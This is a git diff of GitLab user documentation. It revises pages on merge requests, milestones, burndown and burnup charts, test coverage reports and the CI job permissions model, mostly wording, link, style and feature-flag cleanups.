diff --git a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
index 5151b28361a..b813e4f7d28 100644
--- a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
+++ b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -35,6 +35,11 @@ is automatically merged. When the merge request is updated with
new commits, the automatic merge is canceled to allow the new
changes to be reviewed.
+By default, all threads must be resolved before you see the **Merge when
+pipeline succeeds** button. If someone adds a new comment after
+the button is selected, but before the jobs in the CI pipeline are
+complete, the merge is blocked until you resolve all existing threads.
+
## Only allow merge requests to be merged if the pipeline succeeds
You can prevent merge requests from being merged if their pipeline did not succeed
diff --git a/doc/user/project/merge_requests/resolve_conflicts.md b/doc/user/project/merge_requests/resolve_conflicts.md
index b6c7ad0ce75..99e70f35d6d 100644
--- a/doc/user/project/merge_requests/resolve_conflicts.md
+++ b/doc/user/project/merge_requests/resolve_conflicts.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -22,7 +22,7 @@ for information on when this is available).
![Merge request widget](img/merge_request_widget.png)
-NOTE: **Note:**
+NOTE:
GitLab resolves conflicts by creating a merge commit in the source branch that
is not automatically merged into the target branch. This allows the merge
commit to be reviewed and tested before the changes are merged, preventing
diff --git a/doc/user/project/merge_requests/revert_changes.md b/doc/user/project/merge_requests/revert_changes.md
index 6b302b0ff02..40a4631694b 100644
--- a/doc/user/project/merge_requests/revert_changes.md
+++ b/doc/user/project/merge_requests/revert_changes.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -12,12 +12,12 @@ by clicking the **Revert** button in merge requests and commit details.
## Reverting a merge request
-NOTE: **Note:**
+NOTE:
The **Revert** button will only be available for merge requests
created in GitLab 8.5 and later. However, you can still revert a merge request
by reverting the merge commit from the list of Commits page.
-NOTE: **Note:**
+NOTE:
The **Revert** button will only be shown for projects that use the
merge method "Merge Commit", which can be set under the project's
**Settings > General > Merge request**. [Fast-forward commits](fast_forward_merge.md)
diff --git a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
index aef68e0e771..e2d6ba9ea1c 100644
--- a/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
+++ b/doc/user/project/merge_requests/reviewing_and_managing_merge_requests.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, reference
---
@@ -18,7 +18,7 @@ View all the merge requests within a project by navigating to **Project > Merge
When you access your project's merge requests, GitLab will present them in a list,
and you can use the tabs available to quickly filter by open and closed. You can also [search and filter the results](../../search/index.md#filtering-issue-and-merge-request-lists).
-![Project merge requests list view](img/project_merge_requests_list_view.png)
+![Project merge requests list view](img/project_merge_requests_list_view_v13_5.png)
## View merge requests for all projects in a group
@@ -78,10 +78,7 @@ Click **Expand file** on any file to view the changes for that file.
### File-by-file diff navigation
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/222790) in GitLab 13.2.
-> - It's deployed behind a feature flag, enabled by default.
-> - It's recommended for production use.
-> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-file-by-file-diff-navigation).
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229848) in GitLab 13.7.
For larger merge requests it might sometimes be useful to review single files at a time. To enable,
from your avatar on the top-right navigation bar, click **Settings**, and go to **Preferences** on the left
@@ -92,26 +89,16 @@ From there, when reviewing merge requests' **Changes** tab, you will see only on
![File-by-file diff navigation](img/file_by_file_v13_2.png)
-#### Enable or disable file-by-file diff navigation **(CORE ONLY)**
+From [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/233898) onwards, if you want to change
+this behavior, you can do so from your **User preferences** (as explained above) or directly in a
+merge request:
-File-by-file diff navigation is under development but ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it for your instance.
+1. Go to the merge request's **Changes** tab.
+1. Click the cog icon (**{settings}**) to reveal the merge request's settings dropdown.
+1. Select or deselect the checkbox **Show one file at a time** to change the setting accordingly.
-To enable it:
-
-```ruby
-# Instance-wide
-Feature.enable(:view_diffs_file_by_file)
-```
-
-To disable it:
-
-```ruby
-# Instance-wide
-Feature.disable(:view_diffs_file_by_file>)
-```
+This change overrides the choice you made in your user preferences and persists until you clear your
+browser's cookies or change this behavior again.
### Merge requests commit navigation
@@ -145,7 +132,7 @@ specific commit page.
![MR diff](img/merge_request_diff.png)
-TIP: **Tip:**
+NOTE:
You can append `?w=1` while on the diffs page of a merge request to ignore any
whitespace changes.
@@ -213,7 +200,7 @@ If there's an [environment](../../../ci/environments/index.md) and the applicati
successfully deployed to it, the deployed environment and the link to the
Review App will be shown as well.
-NOTE: **Note:**
+NOTE:
When the default branch (for example, `main`) is red due to a failed CI pipeline, the `merge` button
When the pipeline fails in a merge request but it can be merged nonetheless,
the **Merge** button will be colored in red.
@@ -245,7 +232,7 @@ you can preview the changes submitted to a feature-branch through a merge reques
in a per-branch basis. No need to checkout the branch, install and preview locally;
all your changes will be available to preview by anyone with the Review Apps link.
-With GitLab's [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the
+With GitLab [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the
merge request widget takes you directly to the pages changed, making it easier and
faster to preview proposed modifications.
@@ -296,7 +283,7 @@ Merge Request again.
Here are some tips that will help you be more efficient with merge requests in
the command line.
-NOTE: **Note:**
+NOTE:
This section might move in its own document in the future.
### Copy the branch name for local checkout
diff --git a/doc/user/project/merge_requests/sast.md b/doc/user/project/merge_requests/sast.md
index 165290eb114..11f85749fb7 100644
--- a/doc/user/project/merge_requests/sast.md
+++ b/doc/user/project/merge_requests/sast.md
@@ -3,3 +3,6 @@ redirect_to: '../../application_security/sast/index.md'
---
This document was moved to [another location](../../application_security/sast/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/sast_docker.md b/doc/user/project/merge_requests/sast_docker.md
index a062731ea35..5d61f2b36e8 100644
--- a/doc/user/project/merge_requests/sast_docker.md
+++ b/doc/user/project/merge_requests/sast_docker.md
@@ -3,3 +3,6 @@ redirect_to: '../../application_security/container_scanning/index.md'
---
This document was moved to [another location](../../application_security/container_scanning/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md
index 68f5478038a..5c466654b31 100644
--- a/doc/user/project/merge_requests/squash_and_merge.md
+++ b/doc/user/project/merge_requests/squash_and_merge.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -27,7 +27,7 @@ Into a single commit on merge:
![A squashed commit followed by a merge commit](img/squash_squashed_commit.png)
-NOTE: **Note:**
+NOTE:
The squashed commit in this example is followed by a merge commit, because the merge method for this repository uses a merge commit. You can disable merge commits in
**Project Settings > General > Merge requests > Merge method > Fast-forward merge**.
@@ -36,7 +36,7 @@ The squashed commit's commit message will be either:
- Taken from the first multi-line commit message in the merge.
- The merge request's title if no multi-line commit message is found.
-NOTE: **Note:**
+NOTE:
This only takes effect if there are at least 2 commits. As there is nothing to squash, the commit message does not change if there is only 1 commit.
It can be customized before merging a merge request.
@@ -129,7 +129,7 @@ submitted to your project:
The Squash and Merge checkbox is displayed when you create a merge request and when you edit the description of an existing one, except when Squash Commit Options is set to **Do not allow** or **Require**.
-NOTE: **Note:**
+NOTE:
If your project is set to **Do not allow** Squash and Merge, the users still have the option to
squash commits locally through the command line and force-push to their remote branch before merging.
diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md
index 039f0f7d5e1..c38b28f7718 100644
--- a/doc/user/project/merge_requests/test_coverage_visualization.md
+++ b/doc/user/project/merge_requests/test_coverage_visualization.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -51,7 +51,7 @@ from any job in any stage in the pipeline. The coverage will be displayed for ea
Hovering over the coverage bar will provide further information, such as the number
of times the line was checked by tests.
-NOTE: **Note:**
+NOTE:
The Cobertura XML parser currently does not support the `sources` element and ignores it. It is assumed that
the `filename` of a `class` element contains the full path relative to the project root.
@@ -60,7 +60,7 @@ the `filename` of a `class` element contains the full path relative to the proje
### JavaScript example
The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example uses [Mocha](https://mochajs.org/)
-JavaScript testing and [NYC](https://github.com/istanbuljs/nyc) coverage-tooling to
+JavaScript testing and [nyc](https://github.com/istanbuljs/nyc) coverage-tooling to
generate the coverage artifact:
```yaml
@@ -78,7 +78,7 @@ test:
#### Maven example
The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Java or Kotlin uses [Maven](https://maven.apache.org/)
-to build the project and [Jacoco](https://www.eclemma.org/jacoco/) coverage-tooling to
+to build the project and [JaCoCo](https://www.eclemma.org/jacoco/) coverage-tooling to
generate the coverage artifact.
You can check the [Docker image configuration and scripts](https://gitlab.com/haynes/jacoco2cobertura) if you want to build your own image.
@@ -118,7 +118,7 @@ coverage-jdk11:
#### Gradle example
The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Java or Kotlin uses [Gradle](https://gradle.org/)
-to build the project and [Jacoco](https://www.eclemma.org/jacoco/) coverage-tooling to
+to build the project and [JaCoCo](https://www.eclemma.org/jacoco/) coverage-tooling to
generate the coverage artifact.
You can check the [Docker image configuration and scripts](https://gitlab.com/haynes/jacoco2cobertura) if you want to build your own image.
@@ -154,3 +154,23 @@ coverage-jdk11:
reports:
cobertura: build/cobertura.xml
```
+
+### Python example
+
+The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Python uses [pytest-cov](https://pytest-cov.readthedocs.io/) to collect test coverage data and [coverage.py](https://coverage.readthedocs.io/) to convert the report to use full relative paths.
+The information isn't displayed without the conversion.
+
+This example assumes that the code for your package is in `src/` and your tests are in `tests.py`:
+
+```yaml
+run tests:
+ stage: test
+ image: python:3
+ script:
+ - pip install pytest pytest-cov
+ - pytest --cov=src/ tests.py
+ - coverage xml
+ artifacts:
+ reports:
+ cobertura: coverage.xml
+```
diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
index b298c62a5e6..9661a02a767 100644
--- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
+++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index
description: "Test your code and display reports in merge requests"
---
diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md
index 0922ffb2943..4ad960413ef 100644
--- a/doc/user/project/merge_requests/versions.md
+++ b/doc/user/project/merge_requests/versions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -22,8 +22,8 @@ can select an older one from version dropdown.
![Merge request versions dropdown](img/versions_dropdown.png)
Merge request versions are based on push not on commit. So, if you pushed 5
-commits in a single push, it will be a single option in the dropdown. If you
-pushed 5 times, that will count for 5 options.
+commits in a single push, it displays as a single option in the dropdown. If you
+pushed 5 times, that counts for 5 options.
You can also compare the merge request version with an older one to see what has
changed since then.
@@ -42,12 +42,12 @@ changes appears as a system note.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/2383) in GitLab 10.5.
-When viewing the commit details page, GitLab will link to the merge request (or
+When viewing the commit details page, GitLab links to the merge request (or
merge requests, if it's in more than one) containing that commit.
This only applies to commits that are in the most recent version of a merge
-request - if a commit was in a merge request, then rebased out of that merge
-request, they will not be linked.
+request - if commits were in a merge request, then rebased out of that merge
+request, they aren't linked.
## `HEAD` comparison mode for Merge Requests
diff --git a/doc/user/project/merge_requests/work_in_progress_merge_requests.md b/doc/user/project/merge_requests/work_in_progress_merge_requests.md
index 2218d38fdad..7417320eea0 100644
--- a/doc/user/project/merge_requests/work_in_progress_merge_requests.md
+++ b/doc/user/project/merge_requests/work_in_progress_merge_requests.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, concepts
---
@@ -14,6 +14,12 @@ being merged, and it will stay disabled until the "Draft" flag has been removed.
![Blocked Merge Button](img/draft_blocked_merge_button_v13_2.png)
+When [pipelines for merged results](../../../ci/merge_request_pipelines/pipelines_for_merged_results/index.md)
+is enabled, draft merge requests run [merge request pipelines](../../../ci/merge_request_pipelines/index.md)
+only.
+
+To run pipelines for merged results, you must [remove the draft status](#removing-the-draft-flag-from-a-merge-request).
+
## Adding the "Draft" flag to a merge request
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32692) in GitLab 13.2, Work-In-Progress (WIP) merge requests were renamed to **Draft**. Support for using **WIP** will be removed in GitLab 14.0.
diff --git a/doc/user/project/milestones/burndown_and_burnup_charts.md b/doc/user/project/milestones/burndown_and_burnup_charts.md
index ae03be5fa0f..3e266d054be 100644
--- a/doc/user/project/milestones/burndown_and_burnup_charts.md
+++ b/doc/user/project/milestones/burndown_and_burnup_charts.md
@@ -2,7 +2,7 @@
type: reference
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Burndown and burnup charts **(STARTER)**
@@ -66,7 +66,7 @@ and you follow this workflow:
A burndown chart is available for every project or group milestone that has been attributed a **start
date** and a **due date**.
-NOTE: **Note:**
+NOTE:
You're able to [promote project](index.md#promoting-project-milestones-to-group-milestones) to group milestones and still see the **burndown chart** for them, respecting license limitations.
The chart indicates the project's progress throughout that milestone (for issues assigned to it).
@@ -104,13 +104,7 @@ Reopened issues are considered as having been opened on the day after they were
## Burnup charts
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6.
-> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-burnup-charts). **(STARTER ONLY)**
-
-CAUTION: **Warning:**
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268350) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7.
Burnup charts show the assigned and completed work for a milestone.
@@ -136,25 +130,6 @@ Burnup charts can show either the total number of issues or total weight for eac
day of the milestone. Use the toggle above the charts to switch between total
and weight.
-### Enable or disable burnup charts **(STARTER ONLY)**
-
-Burnup charts is under development but ready for production use.
-It is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:burnup_charts)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:burnup_charts)
-```
-
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/project/milestones/burndown_charts.md b/doc/user/project/milestones/burndown_charts.md
index 5d9e6b67bb8..2985e5da2ab 100644
--- a/doc/user/project/milestones/burndown_charts.md
+++ b/doc/user/project/milestones/burndown_charts.md
@@ -1,5 +1,8 @@
---
-redirect_to: './burndown_and_burnup_charts.md'
+redirect_to: 'burndown_and_burnup_charts.md'
---
This document was moved to [another location](burndown_and_burnup_charts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/milestones/img/milestones_new_group_milestone.png b/doc/user/project/milestones/img/milestones_new_group_milestone.png
deleted file mode 100644
index 5bbe8e51f23..00000000000
--- a/doc/user/project/milestones/img/milestones_new_group_milestone.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.png b/doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.png
new file mode 100644
index 00000000000..a865221c5d7
--- /dev/null
+++ b/doc/user/project/milestones/img/milestones_new_group_milestone_v13_5.png
Binary files differ
diff --git a/doc/user/project/milestones/img/milestones_new_project_milestone.png b/doc/user/project/milestones/img/milestones_new_project_milestone.png
index 2d0bdce542d..9207c9f1f7c 100644
--- a/doc/user/project/milestones/img/milestones_new_project_milestone.png
+++ b/doc/user/project/milestones/img/milestones_new_project_milestone.png
Binary files differ
diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md
index 9c47f15cb8f..acf32bb0f92 100644
--- a/doc/user/project/milestones/index.md
+++ b/doc/user/project/milestones/index.md
@@ -2,10 +2,10 @@
type: index, reference
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Milestones
+# Milestones **(CORE)**
Milestones in GitLab are a way to track issues and merge requests created to achieve a broader goal in a certain period of time.
@@ -27,7 +27,7 @@ Similarly, milestones can be used as releases. To do so:
1. Set the milestone title to the version of your release, such as `Version 9.4`.
1. Add an issue to your release by associating the desired milestone from the issue's right-hand sidebar.
-Additionally, you can integrate milestones with GitLab's [Releases feature](../releases/index.md#associate-milestones-with-a-release).
+Additionally, you can integrate milestones with the [Releases feature](../releases/index.md#associate-milestones-with-a-release).
## Project milestones and group milestones
@@ -46,14 +46,14 @@ For information about project and group milestones API, see:
- [Project Milestones API](../../../api/milestones.md)
- [Group Milestones API](../../../api/group_milestones.md)
-NOTE: **Note:**
-If you're in a group and click **Issues > Milestones**, you'll see group milestones and the milestones
-of projects in this group.
-If you're in a project and click **Issues > Milestones**, you'll only see this project's milestones.
+NOTE:
+If you're in a group and click **Issues > Milestones**, GitLab displays group milestones
+and the milestones of projects in this group.
+If you're in a project and click **Issues > Milestones**, GitLab displays only this project's milestones.
## Creating milestones
-NOTE: **Note:**
+NOTE:
A permission level of [Developer or higher](../../permissions.md) is required to create milestones.
### New project milestone
@@ -76,11 +76,11 @@ To create a **group milestone**:
1. Enter the title, an optional description, an optional start date, and an optional due date.
1. Click **New milestone**.
-![New group milestone](img/milestones_new_group_milestone.png)
+![New group milestone](img/milestones_new_group_milestone_v13_5.png)
## Editing milestones
-NOTE: **Note:**
+NOTE:
A permission level of [Developer or higher](../../permissions.md) is required to edit milestones.
To edit a milestone:
@@ -93,12 +93,21 @@ You can delete a milestone by clicking the **Delete** button.
### Promoting project milestones to group milestones
-If you are expanding from a few projects to a larger number of projects within the same group, you may want to share the same milestone among multiple projects in the same group. If you previously created a project milestone and now want to make it available for other projects within the same group, you can promote it to a group milestone.
+If you are expanding the number of projects in a group, you might want to share the same milestones
+among this group's projects. You can also promote project milestones to group milestones in order to
+make them available to other projects in the same group.
-From the project milestone list page, you can promote a project milestone to a group milestone. This will merge all project milestones across all projects in this group with the same name into a single group milestones. All issues and merge requests that previously were assigned one of these project milestones will now be assigned the new group milestones. This action cannot be reversed and the changes are permanent.
+From the project milestone list page, you can promote a project milestone to a group milestone.
+This merges all project milestones across all projects in this group with the same name into a single
+group milestones. All issues and merge requests that were previously assigned to one of these project
+milestones is assigned the new group milestones. This action cannot be reversed and the changes are
+permanent.
-CAUTION: **Caution:**
-From GitLab 12.4 and earlier, some information is lost when you promote a project milestone to a group milestone. Not all features on the project milestone view are available on the group milestone view. If you promote a project milestone to a group milestone, you will lose these features. See [Milestone view](#milestone-view) to see which features are missing from the group milestone view.
+WARNING:
+From GitLab 12.4 and earlier, some information is lost when you promote a project milestone to a
+group milestone. Not all features on the project milestone view are available on the group milestone
+view. If you promote a project milestone to a group milestone, you lose these features. Visit
+[Milestone view](#milestone-view) to learn which features are missing from the group milestone view.
![Promote milestone](img/milestones_promote_milestone.png)
@@ -110,7 +119,7 @@ Every issue and merge request can be assigned a milestone. The milestones are vi
### Filtering in list pages
-From the project issue/merge request list pages and the group issue/merge request list pages, you can [filter](../../search/index.md#issues-and-merge-requests) by both group milestones and project milestones.
+From the project and group issue/merge request list pages, you can [filter](../../search/index.md#issues-and-merge-requests) by both group and project milestones.
### Filtering in issue boards
@@ -125,7 +134,7 @@ When filtering by milestone, in addition to choosing a specific project mileston
- **None**: Show issues or merge requests with no assigned milestone.
- **Any**: Show issues or merge requests that have an assigned milestone.
-- **Upcoming**: Show issues or merge requests that have been assigned the open milestone that has the next upcoming due date (i.e. nearest due date in the future).
+- **Upcoming**: Show issues or merge requests that have been assigned the open milestone and has the nearest due date in the future.
- **Started**: Show issues or merge requests that have an open assigned milestone with a start date that is before today.
## Milestone view
@@ -148,13 +157,13 @@ There are also tabs below these that show the following:
### Project Burndown Charts **(STARTER)**
-For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone.
+For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, showing the progress of completing a milestone.
![burndown chart](img/burndown_chart_v13_6.png)
### Group Burndown Charts **(STARTER)**
-For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_charts.md) is in the milestone view, showing the progress of completing a milestone.
+For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, showing the progress of completing a milestone.
### Milestone sidebar
diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md
index a7a72ca4d82..fd7c58f12b9 100644
--- a/doc/user/project/new_ci_build_permissions_model.md
+++ b/doc/user/project/new_ci_build_permissions_model.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -34,9 +34,9 @@ The reasons to do it like that are:
With the new behavior, any job that is triggered by the user, is also marked
with their read permissions. When a user does a `git push` or changes files through
-the web UI, a new pipeline will be usually created. This pipeline will be marked
+the web UI, a new pipeline is usually created. This pipeline is marked
as created by the pusher (local push or via the UI) and any job created in this
-pipeline will have the read permissions of the pusher but not write permissions.
+pipeline has the read permissions of the pusher but not write permissions.
This allows us to make it really easy to evaluate the access for all projects
that have [Git submodules](../../ci/git_submodules.md) or are using container images that the pusher
@@ -47,14 +47,14 @@ is running. The access is revoked after the job is finished.**
It is important to note that we have a few types of users:
-- **Administrators**: CI jobs created by Administrators will not have access
+- **Administrators**: CI jobs created by Administrators don't have access
to all GitLab projects, but only to projects and container images of projects
that the administrator is a member of. That means that if a project is either
public or internal users have access anyway, but if a project is private, the
- Administrator will have to be a member of it in order to have access to it
+ Administrator has to be a member of it in order to have access to it
via another project's job.
-- **External users**: CI jobs created by [external users](../permissions.md#external-users) will have
+- **External users**: CI jobs created by [external users](../permissions.md#external-users) have
access only to projects to which the user has at least Reporter access. This
rules out accessing all internal projects by default.
@@ -75,7 +75,9 @@ Let's consider the following scenario:
A unique job token is generated for each job and provides the user read
access all projects that would be normally accessible to the user creating that
job. The unique job token does not have any write permissions, but there
-is a [proposal to add support](https://gitlab.com/gitlab-org/gitlab/-/issues/35067).
+is a [proposal to add support](https://gitlab.com/groups/gitlab-org/-/epics/3559).
+
+If you need your CI pipeline to push to the Package Registry, consider using [deploy tokens](deploy_tokens/index.md).
We try to make sure that this token doesn't leak by:
@@ -149,8 +151,8 @@ the container registry.
### Prerequisites to use the new permissions model
-With the new permissions model in place, there may be times that your job will
-fail. This is most likely because your project tries to access other project's
+With the new permissions model in place, there may be times that your job
+fails. This is most likely because your project tries to access other project's
sources, and you don't have the appropriate permissions. In the job log look
for information about 403 or forbidden access messages.
@@ -158,7 +160,7 @@ In short here's what you need to do should you encounter any issues.
As an administrator:
-- **500 errors**: You will need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at
+- **500 errors**: You need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at
least 0.8.2. This is done automatically for Omnibus installations, you need to
[check manually](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/update) for installations from source.
- **500 errors**: Check if you have another web proxy sitting in front of NGINX (HAProxy,
@@ -185,7 +187,7 @@ git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/<user>/<mydependent
```
It can also be used for system-wide authentication
-(only do this in a Docker container, it will overwrite ~/.netrc):
+(only do this in a Docker container, it overwrites `~/.netrc`):
```shell
echo -e "machine gitlab.com\nlogin gitlab-ci-token\npassword ${CI_JOB_TOKEN}" > ~/.netrc
@@ -201,18 +203,17 @@ To properly configure submodules with GitLab CI/CD, read the
With the update permission model we also extended the support for accessing
Container Registries for private projects.
-> **Notes:**
->
-> - GitLab Runner versions prior to 1.8 don't incorporate the introduced changes
-> for permissions. This makes the `image:` directive not work with private
-> projects automatically and it needs to be configured manually on the GitLab Runner host
-> with a predefined account (for example administrator's personal account with
-> access token created explicitly for this purpose). This issue is resolved with
-> latest changes in GitLab Runner 1.8 which receives GitLab credentials with
-> build data.
-> - Starting from GitLab 8.12, if you have [2FA](../profile/account/two_factor_authentication.md) enabled in your account, you need
-> to pass a [personal access token](../profile/personal_access_tokens.md) instead of your password in order to
-> login to GitLab's Container Registry.
+GitLab Runner versions prior to 1.8 don't incorporate the introduced changes
+for permissions. This makes the `image:` directive not work with private
+projects automatically and it needs to be configured manually on the GitLab Runner host
+with a predefined account (for example administrator's personal account with
+access token created explicitly for this purpose). This issue is resolved with
+latest changes in GitLab Runner 1.8 which receives GitLab credentials with
+build data.
+
+Starting from GitLab 8.12, if you have [2FA](../profile/account/two_factor_authentication.md) enabled in your account, you need
+to pass a [personal access token](../profile/personal_access_tokens.md) instead of your password in order to
+login to the Container Registry.
Your jobs can access all container images that you would normally have access
to. The only implication is that you can push to the Container Registry of the
diff --git a/doc/user/project/operations/alert_management.md b/doc/user/project/operations/alert_management.md
index 0feed7dbf40..e60e7d93d12 100644
--- a/doc/user/project/operations/alert_management.md
+++ b/doc/user/project/operations/alert_management.md
@@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/index.md'
---
This document was moved to [another location](../../../operations/incident_management/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/operations/dashboard_settings.md b/doc/user/project/operations/dashboard_settings.md
index 2640f2cf98f..ef106181acc 100644
--- a/doc/user/project/operations/dashboard_settings.md
